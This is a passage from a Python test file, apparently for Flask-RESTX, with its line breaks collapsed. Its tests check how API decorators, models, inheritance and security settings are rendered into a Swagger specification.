parameter["description"] == "Overriden" parameter = by_name["q"] assert parameter["name"] == "q" assert parameter["type"] == "string" assert parameter["in"] == "query" assert parameter["description"] == "A query string" post = path["post"] assert len(post["parameters"]) == 1 by_name = dict((p["name"], p) for p in post["parameters"]) parameter = by_name["age"] assert parameter["name"] == "age" assert parameter["type"] == "integer" assert parameter["in"] == "path" assert parameter["required"] is True assert parameter["description"] == "An age" assert "q" not in by_name def test_explicit_parameters_native_types(self, api, client): @api.route("/types/", endpoint="native") class NativeTypesResource(restx.Resource): @api.doc( params={ "int": {"type": int, "in": "query",}, "float": {"type": float, "in": "query",}, "bool": {"type": bool, "in": "query",}, "str": {"type": str, "in": "query",}, "int-array": {"type": [int], "in": "query",}, "float-array": {"type": [float], "in": "query",}, "bool-array": {"type": [bool], "in": "query",}, "str-array": {"type": [str], "in": "query",}, } ) def get(self, age): return {} data = client.get_specs() op = data["paths"]["/types/"]["get"] parameters = dict((p["name"], p) for p in op["parameters"]) assert parameters["int"]["type"] == "integer" assert parameters["float"]["type"] == "number" assert parameters["str"]["type"] == "string" assert parameters["bool"]["type"] == "boolean" assert parameters["int-array"]["type"] == "array" assert parameters["int-array"]["items"]["type"] == "integer" assert parameters["float-array"]["type"] == "array" assert parameters["float-array"]["items"]["type"] == "number" assert parameters["str-array"]["type"] == "array" assert parameters["str-array"]["items"]["type"] == "string" assert parameters["bool-array"]["type"] == "array" assert parameters["bool-array"]["items"]["type"] == "boolean" def test_response_on_method(self, api, client): api.model("ErrorModel", {"message": restx.fields.String,}) @api.route("/test/") class ByNameResource(restx.Resource): @api.doc( responses={404: "Not found", 405: ("Some message", "ErrorModel"),} ) def get(self): return {} data = client.get_specs("") paths = data["paths"] assert len(paths.keys()) == 1 op = paths["/test/"]["get"] assert op["tags"] == ["default"] assert op["responses"] == { "404": {"description": "Not found",}, "405": { "description": "Some message", "schema": {"$ref": "#/definitions/ErrorModel",}, }, } assert "definitions" in data assert "ErrorModel" in data["definitions"] def test_api_response(self, api, client): @api.route("/test/") class TestResource(restx.Resource): @api.response(200, "Success") def get(self): pass data = client.get_specs("") paths = data["paths"] op = paths["/test/"]["get"] assert op["responses"] == {"200": {"description": "Success",}} def test_api_response_multiple(self, api, client): @api.route("/test/") class TestResource(restx.Resource): @api.response(200, "Success") @api.response(400, "Validation error") def get(self): pass data = client.get_specs("") paths = data["paths"] op = paths["/test/"]["get"] assert op["responses"] == { "200": {"description": "Success",}, "400": {"description": "Validation error",}, } def test_api_response_with_model(self, api, client): model = api.model("SomeModel", {"message": restx.fields.String,}) @api.route("/test/") class TestResource(restx.Resource): @api.response(200, "Success", model) def get(self): pass data = client.get_specs("") paths = data["paths"] op = paths["/test/"]["get"] assert op["responses"] == { "200": { "description": "Success", "schema": {"$ref": "#/definitions/SomeModel",}, } } assert "SomeModel" in data["definitions"] def test_api_response_default(self, api, client): @api.route("/test/") class TestResource(restx.Resource): @api.response("default", "Error") def get(self): pass data = client.get_specs("") paths = data["paths"] op = paths["/test/"]["get"] assert op["responses"] == {"default": {"description": "Error",}} def test_api_header(self, api, client): @api.route("/test/") @api.header("X-HEADER", "A class header") class TestResource(restx.Resource): @api.header( "X-HEADER-2", "Another header", type=[int], collectionFormat="csv" ) @api.header("X-HEADER-3", type=int) @api.header("X-HEADER-4", type="boolean") def get(self): pass data = client.get_specs("") headers = data["paths"]["/test/"]["get"]["responses"]["200"]["headers"] assert "X-HEADER" in headers assert headers["X-HEADER"] == { "type": "string", "description": "A class header", } assert "X-HEADER-2" in headers assert headers["X-HEADER-2"] == { "type": "array", "items": {"type": "integer"}, "description": "Another header", "collectionFormat": "csv", } assert "X-HEADER-3" in headers assert headers["X-HEADER-3"] == {"type": "integer"} assert "X-HEADER-4" in headers assert headers["X-HEADER-4"] == {"type": "boolean"} def test_response_header(self, api, client): @api.route("/test/") class TestResource(restx.Resource): @api.response(200, "Success") @api.response(400, "Validation", headers={"X-HEADER": "An header"}) def get(self): pass data = client.get_specs("") headers = data["paths"]["/test/"]["get"]["responses"]["400"]["headers"] assert "X-HEADER" in headers assert headers["X-HEADER"] == { "type": "string", "description": "An header", } def test_api_and_response_header(self, api, client): @api.route("/test/") @api.header("X-HEADER", "A class header") class TestResource(restx.Resource): @api.header("X-HEADER-2", type=int) @api.response(200, "Success") @api.response(400, "Validation", headers={"X-ERROR": "An error header"}) def get(self): pass data = client.get_specs("") headers200 = data["paths"]["/test/"]["get"]["responses"]["200"]["headers"] headers400 = data["paths"]["/test/"]["get"]["responses"]["400"]["headers"] for headers in (headers200, headers400): assert "X-HEADER" in headers assert "X-HEADER-2" in headers assert "X-ERROR" in headers400 assert "X-ERROR" not in headers200 def test_expect_header(self, api, client): parser = api.parser() parser.add_argument( "X-Header", location="headers", required=True, help="A required header" ) parser.add_argument( "X-Header-2", location="headers", type=int, action="split", help="Another header", ) parser.add_argument("X-Header-3", location="headers", type=int) parser.add_argument("X-Header-4", location="headers", type=inputs.boolean) @api.route("/test/") class TestResource(restx.Resource): @api.expect(parser) def get(self): pass data = client.get_specs("") parameters = data["paths"]["/test/"]["get"]["parameters"] def get_param(name): candidates = [p for p in parameters if p["name"] == name] assert len(candidates) == 1, "parameter {0} not found".format(name) return candidates[0] parameter = get_param("X-Header") assert parameter["type"] == "string" assert parameter["in"] == "header" assert parameter["required"] is True assert parameter["description"] == "A required header" parameter = get_param("X-Header-2") assert parameter["type"] == "array" assert parameter["in"] == "header" assert parameter["items"]["type"] == "integer" assert parameter["description"] == "Another header" assert parameter["collectionFormat"] == "csv" parameter = get_param("X-Header-3") assert parameter["type"] == "integer" assert parameter["in"] == "header" parameter = get_param("X-Header-4") assert parameter["type"] == "boolean" assert parameter["in"] == "header" def test_description(self, api, client): @api.route( "/description/", endpoint="description", doc={ "description": "Parent description.", "delete": {"description": "A delete operation"}, }, ) class ResourceWithDescription(restx.Resource): @api.doc(description="Some details") def get(self): return {} def post(self): """ Do something. Extra description """ return {} def put(self): """No description (only summary)""" def delete(self): """No description (only summary)""" @api.route("/descriptionless/", endpoint="descriptionless") class ResourceWithoutDescription(restx.Resource): def get(self): """No description (only summary)""" return {} data = client.get_specs() description = lambda m: data["paths"]["/description/"][m]["description"] # noqa assert description("get") == dedent( """\ Parent description. Some details""" ) assert description("post") == dedent( """\ Parent description. Extra description""" ) assert description("delete") == dedent( """\ Parent description. A delete operation""" ) assert description("put") == "Parent description." assert "description" not in data["paths"]["/descriptionless/"]["get"] def test_operation_id(self, api, client): @api.route("/test/", endpoint="test") class TestResource(restx.Resource): @api.doc(id="get_objects") def get(self): return {} def post(self): return {} data = client.get_specs() path = data["paths"]["/test/"] assert path["get"]["operationId"] == "get_objects" assert path["post"]["operationId"] == "post_test_resource" def test_operation_id_shortcut(self, api, client): @api.route("/test/", endpoint="test") class TestResource(restx.Resource): @api.doc("get_objects") def get(self): return {} data = client.get_specs() path = data["paths"]["/test/"] assert path["get"]["operationId"] == "get_objects" def test_custom_default_operation_id(self, app, client): def default_id(resource, method): return "{0}{1}".format(method, resource) api = restx.Api(app, default_id=default_id) @api.route("/test/", endpoint="test") class TestResource(restx.Resource): @api.doc(id="get_objects") def get(self): return {} def post(self): return {} data = client.get_specs() path = data["paths"]["/test/"] assert path["get"]["operationId"] == "get_objects" assert path["post"]["operationId"] == "postTestResource" @pytest.mark.api(default_id=lambda r, m: "{0}{1}".format(m, r)) def test_custom_default_operation_id_blueprint(self, api, client): @api.route("/test/", endpoint="test") class TestResource(restx.Resource): @api.doc(id="get_objects") def get(self): return {} def post(self): return {} data = client.get_specs() path = data["paths"]["/test/"] assert path["get"]["operationId"] == "get_objects" assert path["post"]["operationId"] == "postTestResource" def test_model_primitive_types(self, api, client): @api.route("/model-int/") class ModelInt(restx.Resource): @api.doc(model=int) def get(self): return {} data = client.get_specs() assert "definitions" not in data assert data["paths"]["/model-int/"]["get"]["responses"] == { "200": {"description": "Success", "schema": {"type": "integer"}} } def test_model_as_flat_dict(self, api, client): fields = api.model( "Person", { "name": restx.fields.String, "age": restx.fields.Integer, "birthdate": restx.fields.DateTime, }, ) @api.route("/model-as-dict/") class ModelAsDict(restx.Resource): @api.doc(model=fields) def get(self): return {} @api.doc(model="Person") def post(self): return {} data = client.get_specs() assert "definitions" in data assert "Person" in data["definitions"] path = data["paths"]["/model-as-dict/"] assert ( path["get"]["responses"]["200"]["schema"]["$ref"] == "#/definitions/Person" ) assert ( path["post"]["responses"]["200"]["schema"]["$ref"] == "#/definitions/Person" ) def test_model_as_nested_dict(self, api, client): address_fields = api.model("Address", {"road": restx.fields.String,}) fields = api.model("Person", {"address": restx.fields.Nested(address_fields)}) @api.route("/model-as-dict/") class ModelAsDict(restx.Resource): @api.doc(model=fields) def get(self): return {} @api.doc(model="Person") def post(self): return {} data = client.get_specs() assert "definitions" in data assert "Person" in data["definitions"] assert data["definitions"]["Person"] == { "properties": {"address": {"$ref": "#/definitions/Address"},}, "type": "object", } assert "Address" in data["definitions"] assert data["definitions"]["Address"] == { "properties": {"road": {"type": "string"},}, "type": "object", } path = data["paths"]["/model-as-dict/"] assert ( path["get"]["responses"]["200"]["schema"]["$ref"] == "#/definitions/Person" ) assert ( path["post"]["responses"]["200"]["schema"]["$ref"] == "#/definitions/Person" ) def test_model_as_nested_dict_with_details(self, api, client): address_fields = api.model("Address", {"road": restx.fields.String,}) fields = api.model( "Person", { "address": restx.fields.Nested( address_fields, description="description", readonly=True ) }, ) @api.route("/model-as-dict/") class ModelAsDict(restx.Resource): @api.doc(model=fields) def get(self): return {} @api.doc(model="Person") def post(self): return {} data = client.get_specs() assert "definitions" in data assert "Person" in data["definitions"] assert data["definitions"]["Person"] == { "properties": { "address": { "description": "description", "readOnly": True, "allOf": [{"$ref": "#/definitions/Address"}], }, }, "type": "object", } assert "Address" in data["definitions"] assert data["definitions"]["Address"] == { "properties": {"road": {"type": "string"},}, "type": "object", } def test_model_as_flat_dict_with_marchal_decorator(self, api, client): fields = api.model( "Person", { "name": restx.fields.String, "age": restx.fields.Integer, "birthdate": restx.fields.DateTime, }, ) @api.route("/model-as-dict/") class ModelAsDict(restx.Resource): @api.marshal_with(fields) def get(self): return {} data = client.get_specs() assert "definitions" in data assert "Person" in data["definitions"] responses = data["paths"]["/model-as-dict/"]["get"]["responses"] assert responses == { "200": { "description": "Success", "schema": {"$ref": "#/definitions/Person"}, } } def test_model_with_non_uri_chars_in_name(self, api, client): # name will be encoded as 'Person%2F%2F%3Flots%7B%7D%20of%20%26illegals%40%60' name = "Person//?lots{} of &illegals@`" fields = api.model(name, {}) @api.route("/model-bad-uri/") class ModelBadUri(restx.Resource): @api.doc(model=fields) def get(self): return {} @api.response(201, "", model=name) def post(self): return {} data = client.get_specs() assert "definitions" in data assert name in data["definitions"] path = data["paths"]["/model-bad-uri/"] assert ( path["get"]["responses"]["200"]["schema"]["$ref"] == "#/definitions/Person%2F%2F%3Flots%7B%7D%20of%20%26illegals%40%60" ) assert ( path["post"]["responses"]["201"]["schema"]["$ref"] == "#/definitions/Person%2F%2F%3Flots%7B%7D%20of%20%26illegals%40%60" ) def test_marchal_decorator_with_code(self, api, client): fields = api.model( "Person", { "name": restx.fields.String, "age": restx.fields.Integer, "birthdate": restx.fields.DateTime, }, ) @api.route("/model-as-dict/") class ModelAsDict(restx.Resource): @api.marshal_with(fields, code=204) def delete(self): return {} data = client.get_specs() assert "definitions" in data assert "Person" in data["definitions"] responses = data["paths"]["/model-as-dict/"]["delete"]["responses"] assert responses == { "204": { "description": "Success", "schema": {"$ref": "#/definitions/Person"}, } } def test_marchal_decorator_with_description(self, api, client): person = api.model( "Person", { "name": restx.fields.String, "age": restx.fields.Integer, "birthdate": restx.fields.DateTime, }, ) @api.route("/model-as-dict/") class ModelAsDict(restx.Resource): @api.marshal_with(person, description="Some details") def get(self): return {} data = client.get_specs() assert "definitions" in data assert "Person" in data["definitions"] responses = data["paths"]["/model-as-dict/"]["get"]["responses"] assert responses == { "200": { "description": "Some details", "schema": {"$ref": "#/definitions/Person"}, } } def test_marhsal_decorator_with_envelope(self, api, client): person = api.model( "Person", { "name": restx.fields.String, "age": restx.fields.Integer, "birthdate": restx.fields.DateTime, }, ) @api.route("/model-as-dict/") class ModelAsDict(restx.Resource): @api.marshal_with(person, envelope="person") def get(self): return {} data = client.get_specs() assert "definitions" in data assert "Person" in data["definitions"] responses = data["paths"]["/model-as-dict/"]["get"]["responses"] assert responses == { "200": { "description": "Success", "schema": {"properties": {"person": {"$ref": "#/definitions/Person"}}}, } } def test_model_as_flat_dict_with_marchal_decorator_list(self, api, client): fields = api.model( "Person", { "name": restx.fields.String, "age": restx.fields.Integer, "birthdate": restx.fields.DateTime, }, ) @api.route("/model-as-dict/") class ModelAsDict(restx.Resource): @api.marshal_with(fields, as_list=True) def get(self): return {} data = client.get_specs() assert "definitions" in data assert "Person" in data["definitions"] assert data["definitions"]["Person"] == { "properties": { "name": {"type": "string"}, "age": {"type": "integer"}, "birthdate": {"type": "string", "format": "date-time"}, }, "type": "object", } path = data["paths"]["/model-as-dict/"] assert path["get"]["responses"]["200"]["schema"] == { "type": "array", "items": {"$ref": "#/definitions/Person"}, } def test_model_as_flat_dict_with_marchal_decorator_list_alt(self, api, client): fields = api.model( "Person", { "name": restx.fields.String, "age": restx.fields.Integer, "birthdate": restx.fields.DateTime, }, ) @api.route("/model-as-dict/") class ModelAsDict(restx.Resource): @api.marshal_list_with(fields) def get(self): return {} data = client.get_specs() assert "definitions" in data assert "Person" in data["definitions"] path = data["paths"]["/model-as-dict/"] assert path["get"]["responses"]["200"]["schema"] == { "type": "array", "items": {"$ref": "#/definitions/Person"}, } def test_model_as_flat_dict_with_marchal_decorator_list_kwargs(self, api, client): fields = api.model( "Person", { "name": restx.fields.String, "age": restx.fields.Integer, "birthdate": restx.fields.DateTime, }, ) @api.route("/model-as-dict/") class ModelAsDict(restx.Resource): @api.marshal_list_with(fields, code=201, description="Some details") def get(self): return {} data = client.get_specs() assert "definitions" in data assert "Person" in data["definitions"] path = data["paths"]["/model-as-dict/"] assert path["get"]["responses"] == { "201": { "description": "Some details", "schema": {"type": "array", "items": {"$ref": "#/definitions/Person"},}, } } def test_model_as_dict_with_list(self, api, client): fields = api.model( "Person", { "name": restx.fields.String, "age": restx.fields.Integer, "tags": restx.fields.List(restx.fields.String), }, ) @api.route("/model-with-list/") class ModelAsDict(restx.Resource): @api.doc(model=fields) def get(self): return {} data = client.get_specs() assert "definitions" in data assert "Person" in data["definitions"] assert data["definitions"]["Person"] == { "properties": { "name": {"type": "string"}, "age": {"type": "integer"}, "tags": {"type": "array", "items": {"type": "string"}}, }, "type": "object", } path = data["paths"]["/model-with-list/"] assert path["get"]["responses"]["200"]["schema"] == { "$ref": "#/definitions/Person" } def test_model_as_nested_dict_with_list(self, api, client): address = api.model("Address", {"road": restx.fields.String,}) person = api.model( "Person", { "name": restx.fields.String, "age": restx.fields.Integer, "birthdate": restx.fields.DateTime, "addresses": restx.fields.List(restx.fields.Nested(address)), }, ) @api.route("/model-with-list/") class ModelAsDict(restx.Resource): @api.doc(model=person) def get(self): return {} data = client.get_specs() assert "definitions" in data assert "Person" in data["definitions"] assert "Address" in data["definitions"] def test_model_list_of_primitive_types(self, api, client): @api.route("/model-list/") class ModelAsDict(restx.Resource): @api.doc(model=[int]) def get(self): return {} @api.doc(model=[str]) def post(self): return {} data = client.get_specs() assert "definitions" not in data path = data["paths"]["/model-list/"] assert path["get"]["responses"]["200"]["schema"] == { "type": "array", "items": {"type": "integer"}, } assert path["post"]["responses"]["200"]["schema"] == { "type": "array", "items": {"type": "string"}, } def test_model_list_as_flat_dict(self, api, client): fields = api.model( "Person", { "name": restx.fields.String, "age": restx.fields.Integer, "birthdate": restx.fields.DateTime, }, ) @api.route("/model-as-dict/") class ModelAsDict(restx.Resource): @api.doc(model=[fields]) def get(self): return {} @api.doc(model=["Person"]) def post(self): return {} data = client.get_specs() assert "definitions" in data assert "Person" in data["definitions"] path = data["paths"]["/model-as-dict/"] for method in "get", "post": assert path[method]["responses"]["200"]["schema"] == { "type": "array", "items": {"$ref": "#/definitions/Person"}, } def test_model_doc_on_class(self, api, client): fields = api.model( "Person", { "name": restx.fields.String, "age": restx.fields.Integer, "birthdate": restx.fields.DateTime, }, ) @api.route("/model-as-dict/") @api.doc(model=fields) class ModelAsDict(restx.Resource): def get(self): return {} def post(self): return {} data = client.get_specs() assert "definitions" in data assert "Person" in data["definitions"] path = data["paths"]["/model-as-dict/"] for method in "get", "post": assert path[method]["responses"]["200"]["schema"] == { "$ref": "#/definitions/Person" } def test_model_doc_for_method_on_class(self, api, client): fields = api.model( "Person", { "name": restx.fields.String, "age": restx.fields.Integer, "birthdate": restx.fields.DateTime, }, ) @api.route("/model-as-dict/") @api.doc(get={"model": fields}) class ModelAsDict(restx.Resource): def get(self): return {} def post(self): return {} data = client.get_specs() assert "definitions" in data assert "Person" in data["definitions"] path = data["paths"]["/model-as-dict/"] assert path["get"]["responses"]["200"]["schema"] == { "$ref": "#/definitions/Person" } assert "schema" not in path["post"]["responses"]["200"] def test_model_with_discriminator(self, api, client): fields = api.model( "Person", { "name": restx.fields.String(discriminator=True), "age": restx.fields.Integer, }, ) @api.route("/model-with-discriminator/") class ModelAsDict(restx.Resource): @api.marshal_with(fields) def get(self): return {} data = client.get_specs() assert "definitions" in data assert "Person" in data["definitions"] assert data["definitions"]["Person"] == { "properties": {"name": {"type": "string"}, "age": {"type": "integer"},}, "discriminator": "name", "required": ["name"], "type": "object", } def test_model_with_discriminator_override_require(self, api, client): fields = api.model( "Person", { "name": restx.fields.String(discriminator=True, required=False), "age": restx.fields.Integer, }, ) @api.route("/model-with-discriminator/") class ModelAsDict(restx.Resource): @api.marshal_with(fields) def get(self): return {} data = client.get_specs() assert "definitions" in data assert "Person" in data["definitions"] assert data["definitions"]["Person"] == { "properties": {"name": {"type": "string"}, "age": {"type": "integer"},}, "discriminator": "name", "required": ["name"], "type": "object", } def test_model_not_found(self, api, client): @api.route("/model-not-found/") class ModelAsDict(restx.Resource): @api.doc(model="NotFound") def get(self): return {} client.get_specs(status=500) def test_specs_no_duplicate_response_keys(self, api, client): """ This tests that the swagger.json document will not be written with duplicate object keys due to the coercion of dict keys to string. The last @api.response should win. """ # Note the use of a strings '404' and '200' in class decorators as opposed to ints in method decorators. @api.response("404", "Not Found") class BaseResource(restx.Resource): def get(self): pass model = api.model("SomeModel", {"message": restx.fields.String,}) @api.route("/test/") @api.response("200", "Success") class TestResource(BaseResource): # @api.marshal_with also yields a response @api.marshal_with(model, code=200, description="Success on method") @api.response(404, "Not Found on method") def get(self): {} data = client.get_specs("") paths = data["paths"] op = paths["/test/"]["get"] print(op["responses"]) assert op["responses"] == { "200": { "description": "Success on method", "schema": {"$ref": "#/definitions/SomeModel"}, }, "404": {"description": "Not Found on method",}, } def test_clone(self, api, client): parent = api.model( "Person", { "name": restx.fields.String, "age": restx.fields.Integer, "birthdate": restx.fields.DateTime, }, ) child = api.clone("Child", parent, {"extra": restx.fields.String,}) @api.route("/extend/") class ModelAsDict(restx.Resource): @api.doc(model=child) def get(self): return {} @api.doc(model="Child") def post(self): return {} data = client.get_specs() assert "definitions" in data assert "Person" not in data["definitions"] assert "Child" in data["definitions"] path = data["paths"]["/extend/"] assert ( path["get"]["responses"]["200"]["schema"]["$ref"] == "#/definitions/Child" ) assert ( path["post"]["responses"]["200"]["schema"]["$ref"] == "#/definitions/Child" ) def test_inherit(self, api, client): parent = api.model( "Person", {"name": restx.fields.String, "age": restx.fields.Integer,} ) child = api.inherit("Child", parent, {"extra": restx.fields.String,}) @api.route("/inherit/") class ModelAsDict(restx.Resource): @api.marshal_with(child) def get(self): return { "name": "John", "age": 42, "extra": "test", } @api.doc(model="Child") def post(self): return {} data = client.get_specs() assert "definitions" in data assert "Person" in data["definitions"] assert "Child" in data["definitions"] assert data["definitions"]["Person"] == { "properties": {"name": {"type": "string"}, "age": {"type": "integer"},}, "type": "object", } assert data["definitions"]["Child"] == { "allOf": [ {"$ref": "#/definitions/Person"}, {"properties": {"extra": {"type": "string"}}, "type": "object"}, ] } path = data["paths"]["/inherit/"] assert ( path["get"]["responses"]["200"]["schema"]["$ref"] == "#/definitions/Child" ) assert ( path["post"]["responses"]["200"]["schema"]["$ref"] == "#/definitions/Child" ) data = client.get_json("/inherit/") assert data == { "name": "John", "age": 42, "extra": "test", } def test_inherit_inline(self, api, client): parent = api.model( "Person", {"name": restx.fields.String, "age": restx.fields.Integer,} ) child = api.inherit("Child", parent, {"extra": restx.fields.String,}) output = api.model( "Output", { "child": restx.fields.Nested(child), "children": restx.fields.List(restx.fields.Nested(child)), }, ) @api.route("/inherit/") class ModelAsDict(restx.Resource): @api.marshal_with(output) def get(self): return { "child": {"name": "John", "age": 42, "extra": "test",}, "children": [ {"name": "John", "age": 42, "extra": "test",}, {"name": "Doe", "age": 33, "extra": "test2",}, ], } data = client.get_specs() assert "definitions" in data assert "Person" in data["definitions"] assert "Child" in data["definitions"] data = client.get_json("/inherit/") assert data == { "child": {"name": "John", "age": 42, "extra": "test",}, "children": [ {"name": "John", "age": 42, "extra": "test",}, {"name": "Doe", "age": 33, "extra": "test2",}, ], } def test_polymorph_inherit(self, api, client): class Child1: pass class Child2: pass parent = api.model( "Person", {"name": restx.fields.String, "age": restx.fields.Integer,} ) child1 = api.inherit("Child1", parent, {"extra1": restx.fields.String,}) child2 = api.inherit("Child2", parent, {"extra2": restx.fields.String,}) mapping = { Child1: child1, Child2: child2, } output = api.model("Output", {"child": restx.fields.Polymorph(mapping)}) @api.route("/polymorph/") class ModelAsDict(restx.Resource): @api.marshal_with(output) def get(self): return {} data = client.get_specs() assert "definitions" in data assert "Person" in data["definitions"] assert "Child1" in data["definitions"] assert "Child2" in data["definitions"] assert "Output" in data["definitions"] path = data["paths"]["/polymorph/"] assert ( path["get"]["responses"]["200"]["schema"]["$ref"] == "#/definitions/Output" ) def test_polymorph_inherit_list(self, api, client): class Child1(object): name = "Child1" extra1 = "extra1" class Child2(object): name = "Child2" extra2 = "extra2" parent = api.model("Person", {"name": restx.fields.String,}) child1 = api.inherit("Child1", parent, {"extra1": restx.fields.String,}) child2 = api.inherit("Child2", parent, {"extra2": restx.fields.String,}) mapping = { Child1: child1, Child2: child2, } output = api.model( "Output", {"children": restx.fields.List(restx.fields.Polymorph(mapping))} ) @api.route("/polymorph/") class ModelAsDict(restx.Resource): @api.marshal_with(output) def get(self): return {"children": [Child1(), Child2()]} data = client.get_specs() assert "definitions" in data assert "Person" in data["definitions"] assert "Child1" in data["definitions"] assert "Child2" in data["definitions"] assert "Output" in data["definitions"] path = data["paths"]["/polymorph/"] assert ( path["get"]["responses"]["200"]["schema"]["$ref"] == "#/definitions/Output" ) data = client.get_json("/polymorph/") assert data == { "children": [ {"name": "Child1", "extra1": "extra1",}, {"name": "Child2", "extra2": "extra2",}, ] } def test_expect_model(self, api, client): person = api.model( "Person", { "name": restx.fields.String, "age": restx.fields.Integer, "birthdate": restx.fields.DateTime, }, ) @api.route("/model-as-dict/") class ModelAsDict(restx.Resource): @api.expect(person) def post(self): return {} data = client.get_specs() assert "definitions" in data assert "Person" in data["definitions"] assert data["definitions"]["Person"] == { "properties": { "name": {"type": "string"}, "age": {"type": "integer"}, "birthdate": {"type": "string", "format": "date-time"}, }, "type": "object", } op = data["paths"]["/model-as-dict/"]["post"] assert len(op["parameters"]) == 1 parameter = op["parameters"][0] assert parameter == { "name": "payload", "in": "body", "required": True, "schema": {"$ref": "#/definitions/Person"}, } assert "description" not in parameter def test_body_model_shortcut(self, api, client): fields = api.model( "Person", { "name": restx.fields.String, "age": restx.fields.Integer, "birthdate": restx.fields.DateTime, }, ) @api.route("/model-as-dict/") class ModelAsDict(restx.Resource): @api.doc(model="Person") @api.expect(fields) def post(self): return {} data = client.get_specs() assert "definitions" in data assert "Person" in data["definitions"] assert data["definitions"]["Person"] == { "properties": { "name": {"type": "string"}, "age": {"type": "integer"}, "birthdate": {"type": "string", "format": "date-time"}, }, "type": "object", } op = data["paths"]["/model-as-dict/"]["post"] assert op["responses"]["200"]["schema"]["$ref"] == "#/definitions/Person" assert len(op["parameters"]) == 1 parameter = op["parameters"][0] assert parameter == { "name": "payload", "in": "body", "required": True, "schema": {"$ref": "#/definitions/Person"}, } assert "description" not in parameter def test_expect_model_list(self, api, client): model = api.model( "Person", { "name": restx.fields.String, "age": restx.fields.Integer, "birthdate": restx.fields.DateTime, }, ) @api.route("/model-list/") class ModelAsDict(restx.Resource): @api.expect([model]) def post(self): return {} data = client.get_specs() assert "definitions" in data assert "Person" in data["definitions"] assert data["definitions"]["Person"] == { "properties": { "name": {"type": "string"}, "age": {"type": "integer"}, "birthdate": {"type": "string", "format": "date-time"}, }, "type": "object", } op = data["paths"]["/model-list/"]["post"] parameter = op["parameters"][0] assert parameter == { "name": "payload", "in": "body", "required": True, "schema": {"type": "array", "items": {"$ref": "#/definitions/Person"},}, } def test_both_model_and_parser_from_expect(self, api, client): parser = api.parser() parser.add_argument("param", type=int, help="Some param") person = api.model( "Person", { "name": restx.fields.String, "age": restx.fields.Integer, "birthdate": restx.fields.DateTime, }, ) @api.route("/with-parser/", endpoint="with-parser") class WithParserResource(restx.Resource): @api.expect(parser, person) def get(self): return {} data = client.get_specs() assert "definitions" in data assert "Person" in data["definitions"] assert data["definitions"]["Person"] == { "properties": { "name": {"type": "string"}, "age": {"type": "integer"}, "birthdate": {"type": "string", "format": "date-time"}, }, "type": "object", } assert "/with-parser/" in data["paths"] op = data["paths"]["/with-parser/"]["get"] assert len(op["parameters"]) == 2 parameters = dict((p["in"], p) for p in op["parameters"]) parameter = parameters["query"] assert parameter["name"] == "param" assert parameter["type"] == "integer" assert parameter["in"] == "query" assert parameter["description"] == "Some param" parameter = parameters["body"] assert parameter == { "name": "payload", "in": "body", "required": True, "schema": {"$ref": "#/definitions/Person"}, } def test_expect_primitive_list(self, api, client): @api.route("/model-list/") class ModelAsDict(restx.Resource): @api.expect([restx.fields.String]) def post(self): return {} data = client.get_specs() op = data["paths"]["/model-list/"]["post"] parameter = op["parameters"][0] assert parameter == { "name": "payload", "in": "body", "required": True, "schema": {"type": "array", "items": {"type": "string"},}, } def test_body_model_list(self, api, client): fields = api.model( "Person", { "name": restx.fields.String, "age": restx.fields.Integer, "birthdate": restx.fields.DateTime, }, ) @api.route("/model-list/") class ModelAsDict(restx.Resource): @api.expect([fields]) def post(self): return {} data = client.get_specs() assert "definitions" in data assert "Person" in data["definitions"] assert data["definitions"]["Person"] == { "properties": { "name": {"type": "string"}, "age": {"type": "integer"}, "birthdate": {"type": "string", "format": "date-time"}, }, "type": "object", } op = data["paths"]["/model-list/"]["post"] parameter = op["parameters"][0] assert parameter == { "name": "payload", "in": "body", "required": True, "schema": {"type": "array", "items": {"$ref": "#/definitions/Person"},}, } def test_expect_model_with_description(self, api, client): person = api.model( "Person", { "name": restx.fields.String, "age": restx.fields.Integer, "birthdate": restx.fields.DateTime, }, ) @api.route("/model-as-dict/") class ModelAsDict(restx.Resource): @api.expect((person, "Body description")) def post(self): return {} data = client.get_specs() assert "definitions" in data assert "Person" in data["definitions"] assert data["definitions"]["Person"] == { "properties": { "name": {"type": "string"}, "age": {"type": "integer"}, "birthdate": {"type": "string", "format": "date-time"}, }, "type": "object", } op = data["paths"]["/model-as-dict/"]["post"] assert len(op["parameters"]) == 1 parameter = op["parameters"][0] assert parameter == { "name": "payload", "in": "body", "required": True, "description": "Body description", "schema": {"$ref": "#/definitions/Person"}, } def test_authorizations(self, app, client): restx.Api( app, authorizations={ "apikey": {"type": "apiKey", "in": "header", "name": "X-API"} }, ) # @api.route('/authorizations/') # class ModelAsDict(restx.Resource): # def get(self): # return {} # def post(self): # return {} data = client.get_specs() assert "securityDefinitions" in data assert "security" not in data # path = data['paths']['/authorizations/'] # assert 'security' not in path['get'] # assert path['post']['security'] == {'apikey': []} def test_single_root_security_string(self, app, client): api = restx.Api( app, security="apikey", authorizations={ "apikey": {"type": "apiKey", "in": "header", "name": "X-API"} }, ) @api.route("/authorizations/") class ModelAsDict(restx.Resource): def post(self): return {} data = client.get_specs() assert data["securityDefinitions"] == { "apikey": {"type": "apiKey", "in": "header", "name": "X-API"} } assert data["security"] == [{"apikey": []}] op = data["paths"]["/authorizations/"]["post"] assert "security" not in op def test_single_root_security_object(self, app, client): security_definitions = { "oauth2": { "type": "oauth2", "flow": "accessCode", "tokenUrl": "https://somewhere.com/token", "scopes": { "read": "Grant read-only access", "write": "Grant read-write access", }, }, "implicit": { "type": "oauth2", "flow": "implicit", "tokenUrl": "https://somewhere.com/token", "scopes": { "read": "Grant read-only access", "write": "Grant read-write access", }, }, } api = restx.Api( app, security={"oauth2": "read", "implicit": ["read", "write"]}, authorizations=security_definitions, ) @api.route("/authorizations/") class ModelAsDict(restx.Resource): def post(self): return {} data = client.get_specs() assert data["securityDefinitions"] == security_definitions assert data["security"] == [{"oauth2": ["read"], "implicit": ["read", "write"]}] op = data["paths"]["/authorizations/"]["post"] assert "security" not in op def test_root_security_as_list(self, app, client): security_definitions = { "apikey": {"type": "apiKey", "in": "header", "name": "X-API"}, "oauth2": { "type": "oauth2", "flow": "accessCode", "tokenUrl": "https://somewhere.com/token", "scopes": { "read": "Grant read-only access", "write": "Grant read-write access", }, }, } api = restx.Api( app, security=["apikey", {"oauth2": "read"}], authorizations=security_definitions, ) @api.route("/authorizations/") class ModelAsDict(restx.Resource): def post(self): return {} data = client.get_specs() assert data["securityDefinitions"] == security_definitions assert data["security"] == [{"apikey": []}, {"oauth2": ["read"]}] op = data["paths"]["/authorizations/"]["post"] assert "security" not in op def test_method_security(self, app, client): api = restx.Api( app, authorizations={ "apikey": {"type": 